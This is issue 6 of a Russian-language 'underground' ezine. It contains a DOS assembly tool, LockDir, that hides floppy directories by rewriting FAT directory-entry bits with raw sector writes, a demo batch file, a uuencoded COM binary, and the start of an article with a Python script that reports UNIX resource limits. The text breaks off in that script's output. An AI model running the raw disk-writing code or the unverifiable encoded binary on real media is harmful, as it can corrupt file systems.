.Feeling of Digital Streams 6.
                      gggggggggggggggggg+ +ggggggggg
                      `$$$$$P''''Y$$$$P A$A V$$$$$$$
                      m.`$'.d$$$b $$$P A$$$P $$$P.mm
                      $$b d$$$PT$ ^^^ A$$$P d$$'d$$$
                      $P d$$$P.++ $$$b Y$$ d$$'d$$$$
         .ss.         $ d$$$$b.d$b $$$$b $$mmmm,"Y$$         .ss.
   '$b,/$P'`Vb.       $b V$$$$$$$P .`Y$$b $$$$$$b Y$       .dV'`Y$\,d$`
     Y$P'   .$D       $$b V$$$f qd $+ $$$ `'T$$$$b $       D$.   `Y$P
      '     dP'       $$'a V$$$b $...d$$P $ d$$$$P $       `Yb     `
            '$.       $'d$b V$$P $$$$$$'.$ d$$$$P d$        $`
             '$.      md$P.a V'.d$$$P'.dP d$$$$P d$$      .$`
               '$.    $$$ G$$gdb qggg$$P d$$$$P d$$$    .$`
                ':+.  $$$b Y$$$$b Y$$$P d$$$$P d$$$$  .+:
                      gggggggggggggggggggggggggggggg
                      $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

                      .network underground magazine.
                          :.                 .:
                           `$.             .$'
                             `$o.       .a$'
                               `$b,   ,d$'
                                 `$$$$$'
                                   '$'




                     ,?$$;$!$$$$$$$$!$$$$$$$$$$!$$$$.
                     %;'                          `;%
                               Introduction          
                     %;.                          ,;%
                     `?$$$$$;$!$$$$$$$$$$$$$$$$!$$$$'




      w00w! Наш путь, начавшийся с 1 - го выпуска fds, продолжается.
      Всё так же best_mowi и Scorpio делятся своими пейперами и про-
      граммами, и всё так же стараются, чтобы ru/kz-internet был вам
      интересен, чтобы вам не казалось, что совсем нет людей,которые
      могут приподнести что - то интересное и вкусное...

      Особо удивило количество писем, пришедших после выпуска преды-
      дущего номера.Конечно, нельзя сказать, что оно было велико, но
      поверьте довольно впечатлительно.Особо удивил email creAgen'a,
      рассказавшего нам о том - как он узнал о нашем журнале. Как ни
      странно из "Хакера" ;D

      Самой главной новостью является,конечно же, пополнение редкол-
      легии нашего журнала. К нам присоединился shmel. Хочется наде-
      яться, что данное  пополнение  очень положительно отразится на
      нашем ezine,и вы, наши читатели, по достоинству оцените это.

      Итак, пока наше правительство широко внедряет электронные кре-
      дитные бюро, а _жалкий_ монополист kazakhtelecom думает как бы
      догнать по уровню at&t, претворяя в жизнь проект "Телефоны до-
      верия", знакомтесь с контентом, представленном в шестом выпус-
      ке feeling of digital streams:




       00. Introduction................................by best_mowi

       01. Lock directory................................by Scorpio

       02. Introduction to system limits...............by best_mowi

       03. Full access to the disk partitions(win).........by shmel

       04. Elite kungfu..........................by shmel/best_mowi

       05. Shadow disk...................................by Scorpio

       06. Customizing FreeBSD loader with 4th.............by shmel

       07. Acm 1/4 kz subregion..........by Scorpio/best_mowi/shmel

       08. Close words.................................by best_mowi






                 ,$$$;$!$$$$$$$$$$$$$$$$!$$$$$$$$$!$$$$.
                 %;'                                 `;%
                              Lock directory
                 %;.                                 ,;%
                 `$$$$$$;$!$$$$$$$$$$$$$$$$$$$$$$$!$$$$'




     I. ЦЕЛЬ
    II. ВСТУПЛЕНИЕ
   III. ОБЗОР СУЩЕСТВУЮЩИХ ПРОГРАММ
    IV. ПРЕДСТАВЛЕНИЕ АЛГОРИТМА
     V. РУКОВОДСТВО ПОЛЬЗОВАТЕЛЯ
    VI. РЕЗУЛЬТАТЫ ТЕСТИРОВАНИЯ
   VII. ЗАКЛЮЧЕНИЕ
  VIII. SHADOW.BAT
    IX. LOCKDIR.ASM
     X. UUE ENCODED LOCKDIR.COM V0.3

     I. ЦЕЛЬ

 Цель состоит в том,чтобы создать такую программу,которая при запуске бло-
 кирует определенную  директорию и не позволяет другим  пользователям про-
 никнуть в нее.

    II. ВСТУПЛЕНИЕ

 Издревле человека интересовали возможности защиты своей личной информации
 от чужих глаз. Никому не хочется, чтобы другие узнали его самые потаенные
 секреты. Чем больше у человека тайн (и чем более они действительно серьё-
 знее), тем более изощренную защиту он изобретает.

 В данном проекте рассматривается компьютерная защита,а точнее скрытие ка-
 талога с файлами для защиты личной конфиденциальной информации.

   III. ОБЗОР СУЩЕСТВУЮЩИХ ПРОГРАММ

 В данном разделе я хотел бы рассказать о программах,  схожих с написанной
 мною для данного проекта.Это "dirlock" написанная Олегом Бурдаевым в 2000
 году для книги "Ассемблер в задачах защиты информации", а также программа
 "THE HIDER V 2.0" написанная неизвестным автором и найденная в глобальной
 сети Internet. Рассмотрев каждую из них, я не пришел в восторг. Программа
 "dirlock" при запуске  перехватывала 21h и 2fh DOS  прерывания. При таких
 доступах  как чтение/запись/создание/удаление/запуск  файлов из каталога,
 переход в каталог или же операции над самой директорией,программа генери-
 ровала ошибку "путь не найден", и программа работающая через DOS прерыва-
 ния недоумевающе не могла исполнить поставленную перед ней задачу. Но са-
 мое обидное в том,что если воспользоваться командами из консоли (dir, cd,
 mkdir, rmdir, ren, del, и т.д.), которые обрабатываются самим COMMAND.COM
 - загрузочным файлом операционной системы DOS, то команды легко исполнят-
 ся, так  как все описанные выше команды при запуске не генерируют никаких
 прерываний, а напрямую обращаются к системной памяти DOS. Отсюда следует,
 что любой человек воспользовавшись командной строкой,не будет приостанов-
 лен в своих действиях.
 
 Вторая программа "THE HIDER V2.0" написанная на VBScript'ах, просто копи-
 рует два  измененных файла (folder.htt и desktop.ini), в каталог, который
 необходимо защитить. Таким  образом при захождении в этот каталог средст-
 вами обозревателя Internet Explorer, нам выдастся форма для ввода пароля.
 При неправильном вводе  файлы в папке не будут отображаться. Но такой ме-
 тод  защиты является очень слабым, так как  воспользовавшись любой другой
 программой/файловым диспетчером, пользователь спокойно пройдет защиту, от
 которой не останется и следа.  Также можно даже в самом Explorer'е отклю-
 чить web-интерфейс и защита не будет вам мешать.

 При написании своей программы я воспользовался методом скрытия каталога с
 помощью изменения пары бит в файле каталоге, зарезервированных для после-
 дующих расширений DOS.После запуска программы каталог скрывается из виду,
 не просматриваясь ни одной программой. Его можно только просмотреть непо-
 средственным низкоуровневым чтением носителя,например,программой DISKEDIT
 из пакета Norton Utilites. Я считаю, что этот вид защиты более защищен от
 вскрытия, чем найденные мною программы.Вообще на тему защиты каталогов от
 несанкционированного  доступа  на сегодняшний день  существует очень мало
 программ. Так что возможно мой проект поможет кому - либо в его деле.

    IV. ПРЕДСТАВЛЕНИЕ АЛГОРИТМА

 Программа, созданная в данном проекте, писалась на языке низкого уровня -
 Assembler'e, с  использованием прерываний 25h и 26h для непосредственного
 доступа к диску.

 После запуска программа спрашивает  пользователя, какой каталог он желает
 удалить на диске А.

 Затем  пытается найти запись определенного каталога, следуя маршруту ука-
 занному пользователем в пути от корневого каталога,обращаясь за месторас-
 положением в 1-ую таблицу FAT.

 Найдя каталог, программа инвертирует 4, 6 и 7-ые биты в описании каталога
 по смещению 0bh, который отвечает за тип записи (файл, каталог, метка то-
 ма, атрибуты файла).Таким образом меняя 4 - й бит записи - изменяет иден-
 тификацию каталога, 6 и 7 - ые неиспользуемые биты.
 
 Если каталог не найден, то выводится надпись, гласящая об этом.

     V. РУКОВОДСТВО ПОЛЬЗОВАТЕЛЯ

 Для создания загрузочного файла  необходимо создать файл "lockdir.asm", в
 него  скопировать текст приложения. Затем продизассемблировать полученный
 файл "tasm lockdir.asm" и  после слинковать "tlink /t lockdir.obj".

 После запуска полученная программа "lockdir.com" спросит какой каталог на
 диске "А:" необходимо скрыть.  Необходимо ввести полный путь от корневого
 каталога, без указания имени диска и символа ":". Например: tasm\bin\new
 После выполнения программы каталог исчезнет.
 Для того,  чтобы каталог появился необходимо запустить эту же программу и
 указать путь к бывшему каталогу, как вы вводили в первый раз.

    VI. РЕЗУЛЬТАТЫ ТЕСТИРОВАНИЯ
 
 И наконец один из несложных опытов (SHADOW.BAT), показывающий скрытую фу-
 нкцию программы, найденную мною при тестировании.Перед запуском скопируй-
 те на дискету LOCKDIR.COM в корневой каталог.

   VII. ЗАКЛЮЧЕНИЕ

 На  этом откланиваюсь и предлагаю в приложении текст программы (представ-
 ляется "как есть", вы можете свободно распространять, изменять,  редакти-
 ровать исходный код. При написании модернизированных версий LockDir, линк
 на первого разработчика, то есть меня, обязателен!).

 Если у вас появятся какие-либо замечания и дополнения прошу писать на:
                                    
                                                       [email protected]

  VIII. SHADOW.BAT

 ---< cut here >---
@echo off
a:
cd \
mkdir new
cd new
mkdir newest
cd newest
echo salam>privet
echo после этого введите "new\newest\privet"
a:\lockdir.com
echo появится подкаталог privet в котором будет файл salam
cd privet
echo shadowtext>salam
echo теперь у нас файл со скрываемым содержанием
cd ..
echo введите снова "new\newest\privet"
a:\lockdir.com
echo после этого у вас будет файл privet содержание которого "salam"
echo если захотите, можете снова набрать a:\lockdir.com
echo и ввести new\newest\privet
echo появится файл со скрытым текстом "shadowtext"
 ---< cut here >---

    IX. LOCKDIR.ASM

 ---< cut here >---
masm
model tiny
.code
  org 100h
start:
  push  cs
  pop ds
  xor ax,ax
  mov cx,0eh
  mov dx,13h
  lea bx,buf
  int 25h
ent:
  mov ah,09h
  lea dx,entmes
  int 21h
  mov ah,3fh
  xor bx,bx
  lea dx,dir
  mov cx,80
  int 21h
  or  al,al
  jz  ent
  dec al
  dec al
  mov dirlen,ax
  xor cx,cx
  mov cl,al
  mov al,'\'
  cld
  lea di,dir
  repne scasb
  je  fslash
  mov ax,[dirlen]
  sub ax,cx
  jmp next
fslash:
  mov ax,[dirlen]
  sub ax,cx
  dec ax
next:
  mov cx,ax
  mov [dir1len],ax
  cld
  lea si,dir
  lea di,dir1
    rep movsb
  mov cx,[dir1len]
  xor di,di
next1:
  and dir1[di],0dfh
  inc di
  loop  next1
  mov cx,224
  xor di,di
  xor si,si
  lea bx,buf
nxtrec:
  mov tempcx,cx
  mov cx,11
nxtch:
  mov al,dir1[si]
  cmp al,bx[si]
  jne nequal
  inc si
  loop  nxtch
  or  cx,cx
  jz  finded
nequal:
  xor si,si
  add bx,20h
  mov cx,tempcx
  loop  nxtrec
  jmp dirnotfind
finded:
  xor ax,ax
  mov al,bx[11]
  db  0fh, 0bah, 0e0h, 04h; bt  ax,4
  jc  fdir
  db  0fh, 0bah, 0e0h, 07h; bt  ax,7
  jc  fdir
  or  cx,cx
  jnz nxtrec
fdir:
  mov cx,dirlen
  cmp cx,dir1len
  ja  notlastdir
  xor al,0d0h
  mov bx[11],al
  xor ax,ax
  mov cx,0eh
  mov dx,13h
  lea bx,buf
  int 26h
  mov ax,4c00h
  int 21h
dirnotfind:
  mov ah,09
  lea dx,dirnf
  int 21h
  mov ax,4c00h
  int 21h
notlastdir:
  lea di,dir
  lea si,dir
  add si,dir1len
  inc si
  mov cx,dirlen
  sub cx,dir1len
  dec cx
  mov dirlen,cx
    rep movsb
  mov cx,dirlen
  mov al,'\'
  cld
  lea di,dir
  repne scasb
  je  fslasha
  mov ax,dirlen
  sub ax,cx
  jmp nexta
fslasha:
  mov ax,dirlen
  sub ax,cx
  dec ax
nexta:
  mov cx,ax
  mov dir1len,ax
  cld
  lea si,dir
  lea di,dir1
    rep movsb
  mov cx,11
  sub cx,dir1len
  lea si,space
    rep movsb
  mov cx,dir1len
  xor di,di
next1a:
  and dir1[di],0dfh
  inc di
  loop  next1a
  mov ax,bx[1ah]
  mov dircl,ax
  mov [chain],ax
  mov numsec,1
  mov numrec,10h
  xor ax,ax
  mov cx,9
  xor dx,dx
  inc dx
  lea bx,buffat
  int 25h
  mov ax,dircl
  xor di,di
nextcl:
  mov dx,ax
  mov bx,ax
  shl bx,1
  add ax,bx
  shr ax,1
  mov si,ax
  lea bx,buffat
  mov ax,bx[si]
  test  dx,1
  jz  parity
  shr ax,4
parity:
  and ax,0fffh
  inc di
  inc di
  mov chain[di],ax
  cmp ax,0ff0h
  jb  nextcl
  xor di,di
  mov dx,chain[di]
  add dx,31
  mov dirsec,dx
nextdirsec:
  mov dx,dirsec
  xor ax,ax
  xor cx,cx
  inc cl
  lea bx,buf
  int 25h
  mov numrec,10h
  mov cx,numrec
  xor di,di
  xor si,si
  lea bx,buf
nxtreca:
  mov tempcx,cx
  mov cx,11
nxtcha:
  mov al,dir1[si]
  cmp al,bx[si]
  jne nequala
  inc si
  loop  nxtcha
  or  cx,cx
  jz  findeda
nequala:
  xor si,si
  add bx,20h
  mov cx,tempcx
  loop  nxtreca
  jmp dirnotfinda
findeda:
  xor ax,ax
  mov al,bx[11]
  db  0fh,0bah,0e0h,04h;  bt  ax,4
  jc  fdira
  db  0fh,0bah,0e0h,07h;  bt  ax,7
  jc  fdira
  or  cx,cx
  jnz nxtreca
fdira:
  mov cx,dirlen
  cmp cx,dir1len
  jnz notlastdira
  xor al,0d0h
  mov bx[11],al
  xor ax,ax
  mov cx,numsec
  mov dx,dirsec
  lea bx,buf
  int 26h
  mov ax,4c00h
  int 21h
dirnotfinda:
  mov di,tempdi
  inc di
  inc di
  mov tempdi,di
  mov ax,chain[di]
  add ax,31
  mov dirsec,ax
  cmp ax,1000h
  jb  nextdirseca
  mov ah,09
  lea dx,dirnf
  int 21h
  mov ax,4c00h
  int 21h
notlastdira:
  mov tempdi,0
  jmp notlastdir
nextdirseca:
  jmp nextdirsec


entmes  db  "Enter your directory", 0dh, 0ah
db  '$'
dirnf db  "Directory not found",0dh,0ah,'$'
dirlen  dw  0
dir1len dw  0
dircl dw  0
dirsec  dw  13h
numrec  dw  0e0h
numsec  dw  0eh
tempcx  dw  0
tempdi  dw  0
dir db  80 dup (0)
dir1  db  11 dup (20h)
space db  11 dup (20h)
chain dw  20 dup (0ffffh)
buf db  7168 dup (0)
buffat  db  4608 dup (0ffh)
end start
end
 ---< cut here >---

     X. UUE ENCODED LOCKDIR.COM V0.3

 ---< cut here >---
begin 644 LOCKDIR.COM
M#A\SP+D.`+H3`+L.!,TEM`FZ0P/-(;0_,]NZ@`.Y4`#-(0K`=.G^R/[(HW`#
M,\F*R+!<_+^``_*N=`BA<`,KP>L'D*%P`RO!2(O(HW(#_+Z``[_0`_.DBPYR
M`S/_@*70`]^01^+WN>``,_\S]KL.!(D.?`.Y"P"*A-`#.@!U!T;B]0O)=`XS
M]H/#((L.?`/BW^LWD#/`BD<+#[K@!'(*#[K@!W($"\EUQXL.<`,[#G(#=R,T
MT(A'"S/`N0X`NA,`NPX$S2:X`$S-(;0)NEH#S2&X`$S-(;^``[Z``P,V<@-&
MBPYP`RL.<@-)B0YP`_.DBPYP`[!<_+^``_*N=`BA<`,KP>L'D*%P`RO!2(O(
MHW(#_+Z``[_0`_.DN0L`*PYR`[[;`_.DBPYR`S/_@*70`]^01^+WBT<:HW0#
MH^8#QP9Z`P$`QP9X`Q``,\"Y"0`STD*[#B#-):%T`S/_B]"+V-'C`\/1Z(OP
MNPX@BP#WP@$`=`C1Z-'HT>C1Z"7_#T='B87F`SWP#W+3,_^+E>8#@\(?B19V
M`XL6=@,SP#/)_L&[#@3-)<<&>`,0`(L.>`,S_S/VNPX$B0Y\`[D+`(J$T`,Z
M`'4'1N+U"\ET#C/V@\,@BPY\`^+?ZSF0,\"*1PL/NN`$<@H/NN`'<@0+R77'
MBPYP`SL.<@-U/C30B$<+,\"+#GH#BQ9V`[L.!,TFN`!,S2&+/GX#1T>)/GX#
MBX7F`P4?`*-V`ST`$'(5M`FZ6@/-(;@`3,TAQP9^`P``Z9;^Z5/_16YT97(@
M>6]U<B!D:7)E8W1O<GD-"B1$:7)E8W1O<GD@;F]T(&9O=6YD#0HD````````
M$P#@``X`````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M("`@("`@("`@("`@("`@("`@("`@(/______________________________
M______________________\`````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````____________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
#____
`
end
sum -r/size 58521/12558
 ---< cut here >---




                    ,?$$;$!$$$$$$$$$$$$$$$$!$$$$$$$$$!$$$$.
                    %;'                                 `;%
                         Introduction to system limits
                    %;.                                 ,;%
                    `?$$$$$;$!$$$$$$$$$$$$$$$$$$$$$$$!$$$$'




  -[ start words
  -[ resource module
  -[ checking rlimit_*
  -[ rlimit_ofile testing
  -[ close words
  -[ ps. /etc/security/limits.conf
  -[ credits

  -[ start words

 OS семейства UNIX позволяют использовать некоторые механизмы, предостав-
 ляющие  возможности контролирования  и слежения за системными ресурсами.
 Думаю, что профессиональные девелоперы программного обеспечения под рас-
 сматриваемые нами системы, до прочтения этих строк, конечно  же имели об
 этом представление или даже некоторый практический опыт.

  -[ resource module

 Итак, в реализации python имеется специальный разработанный модуль,кото-
 рый  является  мощным инструментом в решении, рассматриваемых нами проб-
 лем. Написан на С, исходный код, разумеется доступен. Для самых трудолю-
 бивых линкую вас в директорию с исходными кодами python - 

     Python-%version%/Modules/resource.c

 Если внимательно  рассмотреть resource.c (кстати, модуль, о котором идёт
 речь, именуется как - resource), то можно заметить такую  строку  кода -
 
     #include <sys/resource.h>

 Именно в resource.h и определены константы,  описывающие  поддерживаемые 
 типы ресурсов:

   - RLIMIT_CPU /* Per-process CPU limit, in seconds. */

     лимит процессорного времени в секундах, которое данный процесс может
     использовать;

   - RLIMIT_FSIZE /* Largest file that can be created, in bytes. */ 

     "размерный" лимит файла в байтах, то есть максимальный размер файла,
     с которым работает процесс;

   - RLIMIT_DATA /* Maximum size of data segment, in bytes. */ 

     максимальный размер сегмента (области) данных процесса в байтах;

   - RLIMIT_STACK /* Maximum size of stack segment, in bytes. */

     максимальный размер стека в байтах;

   - RLIMIT_CORE /* Largest core file that can be created, in bytes. */

     размер файла дампа памяти core в байтах;

   - RLIMIT_RSS /* Largest resident set size, in bytes.
                   This  affects swapping;  processes  that are  exceeding
                   their     resident set size will be more likely to have
                   physical memory taken from them.  */

     наибольший размер физической памяти процесса в байтах;

   - RLIMIT_NOFILE /* Number of open files. */ 
     RLIMIT_OFILE = RLIMIT_NOFILE, /* BSD name for same.  */ 

     количество открытых файлов;

   - RLIMIT_NPROC /* Number of processes. */

     число дочерних процессов, порождённых от данного родительского;

   - RLIMIT_MEMLOCK /* Locked-in-memory address space. */

     адресное пространство, которое может быть зафиксировано в памяти.
  
 Это, разумеется, не все константы...

  -[ checking rlimit_*

 Ок'ей - двигаем дальше. Думаю, любому человеку будет интересно узнать ка-
 кие  же именно ограничения  действуют в его системе. Для этих целей можно
 воспользоваться следующей getlimits.py ->

 -> getlimits.py ->

#!/usr/bin/env python
#
#   - , -                            - , -            - , -
#     |  Copyright (C) 2004 best_mowi  |  getlimits.py  |
#   - ' -                            - ' -            - ' -
#
#   This program is free software; you can redistribute it and/or modify
#   it under the terms of the GNU General Public License as published by
#   the Free Software Foundation; either version 2 of the License, or
#   (at your option) any later version.
#
#   This program is distributed in the hope that it will be useful,
#   but WITHOUT ANY WARRANTY; without even the implied warranty of
#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#   GNU General Public License for more details.
#
#   You should have received a copy of the GNU General Public License
#   along with this program; if not, write to the Free Software
#   Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA

import resource

def main():

    print "\033[;31m[*] Executing program... please, wait.\033[;37m"
    
    CPU_S     =        resource.getrlimit(resource.RLIMIT_CPU)[0]
    CPU_H     =        resource.getrlimit(resource.RLIMIT_CPU)[1]
    
    DATA_S    =       resource.getrlimit(resource.RLIMIT_DATA)[0]
    DATA_H    =       resource.getrlimit(resource.RLIMIT_DATA)[1]
    
    RSS_S     =        resource.getrlimit(resource.RLIMIT_RSS)[0]
    RSS_H     =        resource.getrlimit(resource.RLIMIT_RSS)[1]
    
    STACK_S   =      resource.getrlimit(resource.RLIMIT_STACK)[0]
    STACK_H   =      resource.getrlimit(resource.RLIMIT_STACK)[1]
    
    CORE_S    =       resource.getrlimit(resource.RLIMIT_CORE)[0]
    CORE_H    =       resource.getrlimit(resource.RLIMIT_CORE)[1]
    
    FSIZE_S   =      resource.getrlimit(resource.RLIMIT_FSIZE)[0]
    FSIZE_H   =      resource.getrlimit(resource.RLIMIT_FSIZE)[1]
    
    NPROC_S   =      resource.getrlimit(resource.RLIMIT_NPROC)[0]
    NPROC_H   =      resource.getrlimit(resource.RLIMIT_NPROC)[1]
  
    OFILE_S   =      resource.getrlimit(resource.RLIMIT_OFILE)[0]
    OFILE_H   =      resource.getrlimit(resource.RLIMIT_OFILE)[1]
    
    MEMLOCK_S =    resource.getrlimit(resource.RLIMIT_MEMLOCK)[0]
    MEMLOCK_H =    resource.getrlimit(resource.RLIMIT_MEMLOCK)[1]

    print "\033[1;41m"
    
    print "[+]     RLIMIT_CPU -> [softlimit]: %-4s [hardlimit]: %-4s" % (    str(CPU_S),     str(CPU_H))
    print "[+]    RLIMIT_DATA -> [softlimit]: %-4s [hardlimit]: %-4s" % (   str(DATA_S),    str(DATA_H))
    print "[+]     RLIMIT_RSS -> [softlimit]: %-4s [hardlimit]: %-4s" % (    str(RSS_S),     str(RSS_H))
    print "[+]   RLIMIT_STACK -> [softlimit]: %-4s [hardlimit]: %-4s" % (  str(STACK_S),   str(STACK_H))
    print "[+]    RLIMIT_CORE -> [softlimit]: %-4s [hardlimit]: %-4s" % (   str(CORE_S),    str(CORE_H))
    print "[+]   RLIMIT_FSIZE -> [softlimit]: %-4s [hardlimit]: %-4s" % (  str(FSIZE_S),   str(FSIZE_H))
    print "[+]   RLIMIT_NPROC -> [softlimit]: %-4s [hardlimit]: %-4s" % (  str(NPROC_S),   str(NPROC_H))
    print "[+]   RLIMIT_OFILE -> [softlimit]: %-4s [hardlimit]: %-4s" % (  str(OFILE_S),   str(OFILE_H))
    print "[+] RLIMIT_MEMLOCK -> [softlimit]: %-4s [hardlimit]: %-4s" % (str(MEMLOCK_S), str(MEMLOCK_H))
    
    print "\033[;37m"
    
    print "\033[;31m[*] Program halted... system exit!\033[;37m"
    
if (__name__ == "__main__"): main()

 -> getlimits.py ->

 Теперь постмотрим на результаты выполнения этой программы:

  root@localhost limits# ./getlimits.py
  [*] Executing program... please, wait.
  
  [+]     RLIMIT_CPU -> [softlimit]: -1   [hardlimit]: -1
  [+]    RLIMIT_DATA -> [softlimit]: -1   [hardlimit]: -1
  [+]     RLIMIT_RSS -> [softlimit]: -1   [hardlimit]: -1
  [+]   RLIMIT_STACK -> [softlimit]: -1   [hardlimit]: -1
  [+]    RLIMIT_CORE -> [softlimit]: 0    [hardlimit]: -1
  [+]   RLIMIT_FSIZE -> [softlimit]: -1   [hardlimit]: -1
  [+]   RLIMIT_NPROC -> [softlimit]: 4095 [hardlimit]: 4095
